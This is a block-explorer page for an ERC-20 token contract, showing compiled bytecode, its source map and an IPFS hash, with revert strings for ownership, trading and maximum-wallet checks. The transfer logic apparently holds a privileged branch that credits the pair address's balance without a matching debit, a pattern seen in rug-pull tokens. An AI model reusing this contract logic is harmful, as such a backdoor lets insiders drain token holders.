90600861154a565b6107659190611561565b600855565b6000546001600160a01b031633146107945760405162461bcd60e51b81526004016103d1906114e2565b6001600160a01b0381166107f95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103d1565b61080281610d12565b50565b6001600160a01b0383166108675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b0382166108c85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006104b68284611583565b6001600160a01b0383166109995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b0382166109fb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b6001600160a01b03831660009081526004602052604090205460ff16158015610a3d57506001600160a01b03821660009081526004602052604090205460ff16155b15610a9057600754600160a01b900460ff16610a905760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b60448201526064016103d1565b6007546001600160a01b038381169116148015610ac557506001600160a01b03831660009081526005602052604090205460ff165b15610afc576001600160a01b03821660009081526002602052604081208054839290610af2908490611596565b9091555050505050565b6001600160a01b03831660009081526004602052604090205460ff16158015610b3e57506001600160a01b03821660009081526004602052604090205460ff16155b8015610b5857506007546001600160a01b03838116911614155b8015610b6f57506001600160a01b03821661dead14155b15610be8576012546001600160a01b038316600090815260026020526040902054610b9a9083610e37565b1115610be85760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016103d1565b610bf3838383610e43565b15610c0057610c00610ef3565b6001600160a01b038316600090815260026020526040902054610c239082610929565b6001600160a01b038416600090815260026020526040812091909155610c498484611099565b610c535781610c5e565b610c5e8484846110df565b6001600160a01b038416600090815260026020526040902054909150610c849082610e37565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cd89085815260200190565b60405180910390a350505050565b60008184841115610d0a5760405162461bcd60e51b81526004016103d191906113a3565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600654610d7a9030906001600160a01b031684610805565b6006546001600160a01b031663f305d719823085600080610da36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610e0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e3091906115a9565b5050505050565b60006104b68284611596565b600854306000908152600260205260408120546007549192808510159291101590600160b01b900460ff16158015610e845750600754600160a81b900460ff165b8015610e995750600754600160a01b900460ff165b8015610ea25750815b8015610ec757506001600160a01b03861660009081526004602052604090205460ff16155b8015610ee057506007546001600160a01b038681169116145b8015610ee95750805b9695505050505050565b6007805460ff60b01b1916600160b01b1790553060009081526002602052604081205490506000610f4d6002610f47600b54610f41600a54610f416001600954610e3790919063ffffffff16565b90610e37565b906111e6565b90506000610f7082610f6a600954866111e690919063ffffffff16565b906111f2565b90506000610f7e8483610929565b905047610f8a826111fe565b6000610f964783610929565b90506000610fb9610fb26009548861092990919063ffffffff16565b83906111f2565b90506000610fd2600954836111e690919063ffffffff16565b90508015610fe457610fe48682610d62565b600a54600090610ff990610f478560026111e6565b9050801561103d576011546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561103b573d6000803e3d6000fd5b505b478015611080576011546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561107e573d6000803e3d6000fd5b505b50506007805460ff60b01b191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156104b65750506001600160a01b031660009081526004602052604090205460ff1615919050565b6000806110ec8585611358565b11156111df57600061110f6111018686611358565b601054610f479086906111f2565b3060009081526002602052604090205490915061112c9082610e37565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061117d9085815260200190565b60405180910390a36000600c541180156111a15750600c5461119f8686611358565b115b156111cd576111cd3061dead6111c8600c54610f47601054896111f290919063ffffffff16565b610935565b6111d78382610929565b9150506104b6565b5092915050565b60006104b6828461154a565b60006104b68284611561565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611233576112336115d7565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b09190611517565b816001815181106112c3576112c36115d7565b6001600160a01b0392831660209182029290920101526006546112e99130911684610805565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906113229085906000908690309042906004016115ed565b600060405180830381600087803b15801561133c57600080fd5b505af1158015611350573d6000803e3d6000fd5b505050505050565b6007546000906001600160a01b039081169083160361137a5750600e546103a1565b6007546001600160a01b03908116908416036113995750600d546103a1565b50600f5492915050565b600060208083528351808285015260005b818110156113d0578581018301518582016040015282016113b4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461080257600080fd5b6000806040838503121561141957600080fd5b8235611424816113f1565b946020939093013593505050565b60008060006060848603121561144757600080fd5b8335611452816113f1565b92506020840135611462816113f1565b929592945050506040919091013590565b60006020828403121561148557600080fd5b5035919050565b60006020828403121561149e57600080fd5b81356104b6816113f1565b600080604083850312156114bc57600080fd5b82356114c7816113f1565b915060208301356114d7816113f1565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561152957600080fd5b81516104b6816113f1565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176103a1576103a1611534565b60008261157e57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103a1576103a1611534565b808201808211156103a1576103a1611534565b6000806000606084860312156115be57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561163d5784516001600160a01b031683529383019391830191600101611618565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220106e3c6edc980a718c6e440256fee85392b608b18eabbbfbe5e60bbeb11a001564736f6c63430008130033

Deployed Bytecode Sourcemap

6414:8183:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8124:67;;;;;;;;;;-1:-1:-1;8184:5:0;;;;;;;;;;;;-1:-1:-1;;;8184:5:0;;;;8124:67;;;;;;;:::i;:::-;;;;;;;;8853:133;;;;;;;;;;-1:-1:-1;8853:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8853:133:0;1023:187:1;9349:93:0;;;;;;;;;;;;;:::i;:::-;;8992:132;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;8992:132:0;1215:177:1;13942:309:0;;;;;;;;;;-1:-1:-1;13942:309:0;;;;;:::i;:::-;;:::i;8274:67::-;;;;;;;;;;-1:-1:-1;8274:67:0;;6617:2;2000:36:1;;1988:2;1973:18;8274:67:0;1858:184:1;9450:171:0;;;;;;;;;;-1:-1:-1;9450:171:0;;;;;:::i;:::-;;:::i;8466:103::-;;;;;;;;;;-1:-1:-1;8466:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;8549:18:0;8532:7;8549:18;;;:9;:18;;;;;;;8466:103;3914;;;;;;;;;;;;;:::i;3263:87::-;;;;;;;;;;-1:-1:-1;3309:7:0;3336:6;-1:-1:-1;;;;;3336:6:0;3263:87;;;-1:-1:-1;;;;;2648:32:1;;;2630:51;;2618:2;2603:18;3263:87:0;2484:203:1;9132:209:0;;;;;;;;;;;;;:::i;8197:71::-;;;;;;;;;;-1:-1:-1;8259:7:0;;;;;;;;;;;;-1:-1:-1;;;8259:7:0;;;;8197:71;;6937:19;;;;;;;;;;-1:-1:-1;6937:19:0;;;;-1:-1:-1;;;;;6937:19:0;;;8575:139;;;;;;;;;;-1:-1:-1;8575:139:0;;;;;:::i;:::-;;:::i;8347:113::-;;;;;;;;;;;;;:::i;8720:127::-;;;;;;;;;;-1:-1:-1;8720:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8818:18:0;;;8801:7;8818:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8720:127;4172:201;;;;;;;;;;-1:-1:-1;4172:201:0;;;;;:::i;:::-;;:::i;8853:133::-;8928:4;8935:37;8944:10;8956:7;8965:6;8935:8;:37::i;:::-;-1:-1:-1;8980:4:0;8853:133;;;;;:::o;9349:93::-;3309:7;3336:6;-1:-1:-1;;;;;3336:6:0;2717:10;3483:23;3475:68;;;;-1:-1:-1;;;3475:68:0;;;;;;;:::i;:::-;;;;;;;;;9422:12:::1;::::0;9404:15:::1;:30:::0;9349:93::o;8992:132::-;8549:9;:18;;;;7556:42;9045:7;8549:18;;;;;9062:12;;9045:7;;9062:60;;8549:18;;9062:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;9055:67;;8992:132;:::o;13942:309::-;14040:4;14057:36;14067:6;14075:9;14086:6;14057:9;:36::i;:::-;14104:117;14113:6;14121:10;14133:87;14169:6;14133:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14133:19:0;;;;;;:11;:19;;;;;;;;14153:10;14133:31;;;;;;;;;:87;:35;:87::i;:::-;14104:8;:117::i;:::-;-1:-1:-1;14239:4:0;13942:309;;;;;;:::o;9450:171::-;3309:7;3336:6;-1:-1:-1;;;;;3336:6:0;2717:10;3483:23;3475:68;;;;-1:-1:-1;;;3475:68:0;;;;;;;:::i;:::-;9524:10:::1;:22:::0;;;9557:10:::1;:22:::0;;;9590:11:::1;:23:::0;9450:171::o;3914:103::-;3309:7;3336:6;-1:-1:-1;;;;;3336:6:0;2717:10;3483:23;3475:68;;;;-1:-1:-1;;;3475:68:0;;;;;;;:::i;:::-;3979:30:::1;4006:1;3979:18;:30::i;:::-;3914:103::o:0;9132:209::-;3309:7;3336:6;-1:-1:-1;;;;;3336:6:0;2717:10;3483:23;3475:68;;;;-1:-1:-1;;;3475:68:0;;;;;;;:::i;:::-;9203:6:::1;;;;;;;;;-1:-1:-1::0;;;;;9203:6:0::1;-1:-1:-1::0;;;;;9203:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9194:37:0::1;;9240:4;9247:6;;;;;;;;;-1:-1:-1::0;;;;;9247:6:0::1;-1:-1:-1::0;;;;;9247:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9194:67;::::0;-1:-1:-1;;;;;;9194:67:0::1;::::0;;;;;;-1:-1:-1;;;;;3932:15:1;;;9194:67:0::1;::::0;::::1;3914:34:1::0;3984:15;;3964:18;;;3957:43;3849:18;;9194:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9187:4;:74:::0;;-1:-1:-1;;;;;;9187:74:0::1;-1:-1:-1::0;;;;;9187:74:0;;;::::1;::::0;;;::::1;::::0;;9303:4:::1;-1:-1:-1::0;8549:18:0;;;:9;:18;;;;;;9272:61:::1;::::0;9311:21:::1;9272:12;:61::i;8575:139::-:0;8653:4;8660:40;8670:10;8682:9;8693:6;8660:9;:40::i;8347:113::-;3309:7;3336:6;-1:-1:-1;;;;;3336:6:0;2717:10;3483:23;3475:68;;;;-1:-1:-1;;;3475:68:0;;;;;;;:::i;:::-;8390:13:::1;:20:::0;;-1:-1:-1;;;;8390:20:0::1;-1:-1:-1::0;;;8390:20:0::1;::::0;;8406:4:::1;8431:12:::0;8450:7:::1;::::0;8431:16:::1;::::0;8446:1:::1;8431:16;:::i;:::-;:26;;;;:::i;:::-;8412:16;:45:::0;8347:113::o;4172:201::-;3309:7;3336:6;-1:-1:-1;;;;;3336:6:0;2717:10;3483:23;3475:68;;;;-1:-1:-1;;;3475:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4261:22:0;::::1;4253:73;;;::::0;-1:-1:-1;;;4253:73:0;;4740:2:1;4253:73:0::1;::::0;::::1;4722:21:1::0;4779:2;4759:18;;;4752:30;4818:34;4798:18;;;4791:62;-1:-1:-1;;;4869:18:1;;;4862:36;4915:19;;4253:73:0::1;4538:402:1::0;4253:73:0::1;4337:28;4356:8;4337:18;:28::i;:::-;4172:201:::0;:::o;14259:335::-;-1:-1:-1;;;;;14352:19:0;;14344:68;;;;-1:-1:-1;;;14344:68:0;;5147:2:1;14344:68:0;;;5129:21:1;5186:2;5166:18;;;5159:30;5225:34;5205:18;;;5198:62;-1:-1:-1;;;5276:18:1;;;5269:34;5320:19;;14344:68:0;4945:400:1;14344:68:0;-1:-1:-1;;;;;14431:21:0;;14423:68;;;;-1:-1:-1;;;14423:68:0;;5552:2:1;14423:68:0;;;5534:21:1;5591:2;5571:18;;;5564:30;5630:34;5610:18;;;5603:62;-1:-1:-1;;;5681:18:1;;;5674:32;5723:19;;14423:68:0;5350:398:1;14423:68:0;-1:-1:-1;;;;;14502:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14554:32;;1361:25:1;;;14554:32:0;;1334:18:1;14554:32:0;;;;;;;14259:335;;;:::o;1439:98::-;1497:7;1524:5;1528:1;1524;:5;:::i;12886:1048::-;-1:-1:-1;;;;;12983:20:0;;12975:70;;;;-1:-1:-1;;;12975:70:0;;6088:2:1;12975:70:0;;;6070:21:1;6127:2;6107:18;;;6100:30;6166:34;6146:18;;;6139:62;-1:-1:-1;;;6217:18:1;;;6210:35;6262:19;;12975:70:0;5886:401:1;12975:70:0;-1:-1:-1;;;;;13064:23:0;;13056:71;;;;-1:-1:-1;;;13056:71:0;;6494:2:1;13056:71:0;;;6476:21:1;6533:2;6513:18;;;6506:30;6572:34;6552:18;;;6545:62;-1:-1:-1;;;6623:18:1;;;6616:33;6666:19;;13056:71:0;6292:399:1;13056:71:0;-1:-1:-1;;;;;13142:17:0;;;;;;:9;:17;;;;;;;;13141:18;:43;;;;-1:-1:-1;;;;;;13164:20:0;;;;;;:9;:20;;;;;;;;13163:21;13141:43;13138:94;;;13194:13;;-1:-1:-1;;;13194:13:0;;;;13186:44;;;;-1:-1:-1;;;13186:44:0;;6898:2:1;13186:44:0;;;6880:21:1;6937:2;6917:18;;;6910:30;-1:-1:-1;;;6956:18:1;;;6949:48;7014:18;;13186:44:0;6696:342:1;13186:44:0;13258:4;;-1:-1:-1;;;;;13245:17:0;;;13258:4;;13245:17;:41;;;;-1:-1:-1;;;;;;13266:20:0;;;;;;:12;:20;;;;;;;;13245:41;13242:83;;;-1:-1:-1;;;;;13288:20:0;;;;;;:9;:20;;;;;:28;;13310:6;;13288:20;:28;;13310:6;;13288:28;:::i;:::-;;;;-1:-1:-1;;;;;12886:1048:0:o;13242:83::-;-1:-1:-1;;;;;13339:17:0;;;;;;:9;:17;;;;;;;;13338:18;:43;;;;-1:-1:-1;;;;;;13361:20:0;;;;;;:9;:20;;;;;;;;13360:21;13338:43;:73;;;;-1:-1:-1;13406:4:0;;-1:-1:-1;;;;;13385:26:0;;;13406:4;;13385:26;;13338:73;:103;;;;-1:-1:-1;;;;;;13415:26:0;;7556:42;13415:26;;13338:103;13335:216;;;13499:15;;-1:-1:-1;;;;;13462:20:0;;;;;;:9;:20;;;;;;:32;;13487:6;13462:24;:32::i;:::-;13461:53;;13453:96;;;;-1:-1:-1;;;13453:96:0;;7375:2:1;13453:96:0;;;7357:21:1;7414:2;7394:18;;;7387:30;7453:32;7433:18;;;7426:60;7503:18;;13453:96:0;7173:354:1;13453:96:0;13564:41;13579:6;13587:9;13598:6;13564:14;:41::i;:::-;13561:58;;;13607:10;:8;:10::i;:::-;-1:-1:-1;;;;;13649:17:0;;;;;;:9;:17;;;;;;:29;;13671:6;13649:21;:29::i;:::-;-1:-1:-1;;;;;13629:17:0;;;;;;:9;:17;;;;;:49;;;;13714:33;13639:6;13737:9;13714:14;:33::i;:::-;:79;;13787:6;13714:79;;;13750:34;13758:6;13766:9;13777:6;13750:7;:34::i;:::-;-1:-1:-1;;;;;13827:20:0;;;;;;:9;:20;;;;;;13689:104;;-1:-1:-1;13827:40:0;;13689:104;13827:24;:40::i;:::-;-1:-1:-1;;;;;13804:20:0;;;;;;;:9;:20;;;;;;;:63;;;;13883:43;;;;;;;;;;13911:14;1361:25:1;;1349:2;1334:18;;1215:177;13883:43:0;;;;;;;;12964:970;12886:1048;;;:::o;1863:240::-;1983:7;2044:12;2036:6;;;;2028:29;;;;-1:-1:-1;;;2028:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2079:5:0;;;1863:240::o;4533:191::-;4607:16;4626:6;;-1:-1:-1;;;;;4643:17:0;;;-1:-1:-1;;;;;;4643:17:0;;;;;;4676:40;;4626:6;;;;;;;4676:40;;4607:16;4676:40;4596:128;4533:191;:::o;11095:332::-;11208:6;;11176:53;;11193:4;;-1:-1:-1;;;;;11208:6:0;11217:11;11176:8;:53::i;:::-;11240:6;;-1:-1:-1;;;;;11240:6:0;:22;11270:9;11303:4;11323:11;11240:6;;11381:7;3309;3336:6;-1:-1:-1;;;;;3336:6:0;;3263:87;11381:7;11240:179;;;;;;-1:-1:-1;;;;;;11240:179:0;;;-1:-1:-1;;;;;7891:15:1;;;11240:179:0;;;7873:34:1;7923:18;;;7916:34;;;;7966:18;;;7959:34;;;;8009:18;;;8002:34;8073:15;;;8052:19;;;8045:44;11403:15:0;8105:19:1;;;8098:35;7807:19;;11240:179:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11095:332;;:::o;1333:98::-;1391:7;1418:5;1422:1;1418;:5;:::i;9629:374::-;9770:16;;9837:4;9727;8549:18;;;:9;:18;;;;;;9882:8;;9727:4;;9760:26;;;;;-1:-1:-1;;9819:44:0;;-1:-1:-1;;;9882:8:0;;;;9881:9;:24;;;;-1:-1:-1;9894:11:0;;-1:-1:-1;;;9894:11:0;;;;9881:24;:41;;;;-1:-1:-1;9909:13:0;;-1:-1:-1;;;9909:13:0;;;;9881:41;:53;;;;;9926:8;9881:53;:75;;;;-1:-1:-1;;;;;;9939:17:0;;;;;;:9;:17;;;;;;;;9938:18;9881:75;:96;;;;-1:-1:-1;9973:4:0;;-1:-1:-1;;;;;9960:17:0;;;9973:4;;9960:17;9881:96;:114;;;;;9981:14;9881:114;9874:121;9629:374;-1:-1:-1;;;;;;9629:374:0:o;10011:1076::-;7166:8;:15;;-1:-1:-1;;;;7166:15:0;-1:-1:-1;;;7166:15:0;;;10104:4:::1;-1:-1:-1::0;8549:18:0;;;:9;:18;;;;;;10062:48:::1;;10121:20;10144:57;10199:1;10145:48;10182:10;;10145:32;10166:10;;10145:16;10159:1;10145:9;;:13;;:16;;;;:::i;:::-;:20:::0;::::1;:32::i;:48::-;10144:54:::0;::::1;:57::i;:::-;10121:80;;10212:32;10247:46;10280:12;10247:28;10265:9;;10247:13;:17;;:28;;;;:::i;:::-;:32:::0;::::1;:46::i;:::-;10212:81:::0;-1:-1:-1;10304:14:0::1;10321:43;:13:::0;10212:81;10321:17:::1;:43::i;:::-;10304:60:::0;-1:-1:-1;10400:21:0::1;10432:24;10304:60:::0;10432:16:::1;:24::i;:::-;10467:20;10490:41;:21;10516:14:::0;10490:25:::1;:41::i;:::-;10467:64;;10542:19;10563:45;10580:27;10597:9;;10580:12;:16;;:27;;;;:::i;:::-;10563:12:::0;;:16:::1;:45::i;:::-;10542:66;;10619:29;10651:26;10667:9;;10651:11;:15;;:26;;;;:::i;:::-;10619:58:::0;-1:-1:-1;10691:34:0;;10688:103:::1;;10727:61;10740:24;10766:21;10727:12;:61::i;:::-;10847:10;::::0;10801:20:::1;::::0;10824:34:::1;::::0;:18:::1;:11:::0;10840:1:::1;10824:15;:18::i;:34::-;10801:57:::0;-1:-1:-1;10872:16:0;;10869:64:::1;;10898:9;::::0;10890:41:::1;::::0;-1:-1:-1;;;;;10898:9:0;;::::1;::::0;10890:41;::::1;;;::::0;10918:12;;10898:9:::1;10890:41:::0;10898:9;10890:41;10918:12;10898:9;10890:41;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10869:64;10969:21;11004:28:::0;;11001:79:::1;;11042:9;::::0;11034:44:::1;::::0;-1:-1:-1;;;;;11042:9:0;;::::1;::::0;11034:44;::::1;;;::::0;11062:15;;11042:9:::1;11034:44:::0;11042:9;11034:44;11062:15;11042:9;11034:44;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11001:79;-1:-1:-1::0;;7186:8:0;:16;;-1:-1:-1;;;;7186:16:0;;;-1:-1:-1;;;;;;;;10011:1076:0:o;11877:157::-;-1:-1:-1;;;;;11984:17:0;;11959:4;11984:17;;;:9;:17;;;;;;;;11983:18;:43;;;;-1:-1:-1;;;;;;;12006:20:0;;;;;:9;:20;;;;;;;;12005:21;;11877:157;-1:-1:-1;11877:157:0:o;12276:602::-;12362:7;12418:1;12385:30;12397:6;12405:9;12385:11;:30::i;:::-;:34;12382:474;;;12431:17;12451:59;12479:30;12491:6;12499:9;12479:11;:30::i;:::-;12462:11;;12451:23;;:6;;:10;:23::i;:59::-;12566:4;12548:24;;;;:9;:24;;;;;;12431:79;;-1:-1:-1;12548:39:0;;12431:79;12548:28;:39::i;:::-;12539:4;12521:24;;;;:9;:24;;;;;;;:66;;;;12603:42;;-1:-1:-1;;;;;12603:42:0;;;;;;;12635:9;1361:25:1;;1349:2;1334:18;;1215:177;12603:42:0;;;;;;;;12681:1;12659:11;;:24;:72;;;;;12720:11;;12687:30;12699:6;12707:9;12687:11;:30::i;:::-;:44;12659:72;12656:160;;;12733:81;12751:4;7556:42;12773:40;12801:11;;12773:23;12784:11;;12773:6;:10;;:23;;;;:::i;:40::-;12733:9;:81::i;:::-;12833:21;:6;12844:9;12833:10;:21::i;:::-;12826:28;;;;;12382:474;-1:-1:-1;12864:6:0;12276:602;-1:-1:-1;;12276:602:0:o;1545:98::-;1603:7;1630:5;1634:1;1630;:5;:::i;1651:98::-;1709:7;1736:5;1740:1;1736;:5;:::i;11435:434::-;11525:16;;;11539:1;11525:16;;;;;;;;11501:21;;11525:16;;;;;;;;;;-1:-1:-1;11525:16:0;11501:40;;11570:4;11552;11557:1;11552:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11552:23:0;;;:7;;;;;;;;;;:23;;;;11596:6;;:13;;;-1:-1:-1;;;11596:13:0;;;;:6;;;;;:11;;:13;;;;;11552:7;;11596:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11586:4;11591:1;11586:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11586:23:0;;;:7;;;;;;;;;:23;11652:6;;11620:53;;11637:4;;11652:6;11661:11;11620:8;:53::i;:::-;11684:6;;:177;;-1:-1:-1;;;11684:177:0;;-1:-1:-1;;;;;11684:6:0;;;;:57;;:177;;11756:11;;11684:6;;11798:4;;11825;;11845:15;;11684:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11490:379;11435:434;:::o;12042:226::-;12157:4;;12121:7;;-1:-1:-1;;;;;12157:4:0;;;12144:17;;;;12141:42;;-1:-1:-1;12170:11:0;;12163:18;;12141:42;12206:4;;-1:-1:-1;;;;;12206:4:0;;;12196:14;;;;12193:38;;-1:-1:-1;12219:10:0;;12212:17;;12193:38;-1:-1:-1;12248:12:0;;12042:226;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:180::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;-1:-1:-1;2198:23:1;;2047:180;-1:-1:-1;2047:180:1:o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:356::-;3287:2;3269:21;;;3306:18;;;3299:30;3365:34;3360:2;3345:18;;3338:62;3432:2;3417:18;;3085:356::o;3446:251::-;3516:6;3569:2;3557:9;3548:7;3544:23;3540:32;3537:52;;;3585:1;3582;3575:12;3537:52;3617:9;3611:16;3636:31;3661:5;3636:31;:::i;4011:127::-;4072:10;4067:3;4063:20;4060:1;4053:31;4103:4;4100:1;4093:15;4127:4;4124:1;4117:15;4143:168;4216:9;;;4247;;4264:15;;;4258:22;;4244:37;4234:71;;4285:18;;:::i;4316:217::-;4356:1;4382;4372:132;;4426:10;4421:3;4417:20;4414:1;4407:31;4461:4;4458:1;4451:15;4489:4;4486:1;4479:15;4372:132;-1:-1:-1;4518:9:1;;4316:217::o;5753:128::-;5820:9;;;5841:11;;;5838:37;;;5855:18;;:::i;7043:125::-;7108:9;;;7129:10;;;7126:36;;;7142:18;;:::i;8144:306::-;8232:6;8240;8248;8301:2;8289:9;8280:7;8276:23;8272:32;8269:52;;;8317:1;8314;8307:12;8269:52;8346:9;8340:16;8330:26;;8396:2;8385:9;8381:18;8375:25;8365:35;;8440:2;8429:9;8425:18;8419:25;8409:35;;8144:306;;;;;:::o;8587:127::-;8648:10;8643:3;8639:20;8636:1;8629:31;8679:4;8676:1;8669:15;8703:4;8700:1;8693:15;8719:980;8981:4;9029:3;9018:9;9014:19;9060:6;9049:9;9042:25;9086:2;9124:6;9119:2;9108:9;9104:18;9097:34;9167:3;9162:2;9151:9;9147:18;9140:31;9191:6;9226;9220:13;9257:6;9249;9242:22;9295:3;9284:9;9280:19;9273:26;;9334:2;9326:6;9322:15;9308:29;;9355:1;9365:195;9379:6;9376:1;9373:13;9365:195;;;9444:13;;-1:-1:-1;;;;;9440:39:1;9428:52;;9535:15;;;;9500:12;;;;9476:1;9394:9;9365:195;;;-1:-1:-1;;;;;;;9616:32:1;;;;9611:2;9596:18;;9589:60;-1:-1:-1;;;9680:3:1;9665:19;9658:35;9577:3;8719:980;-1:-1:-1;;;8719:980:1:o

Swarm Source

ipfs://106e3c6edc980a718c6e440256fee85392b608b18eabbbfbe5e60bbeb11a0015
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.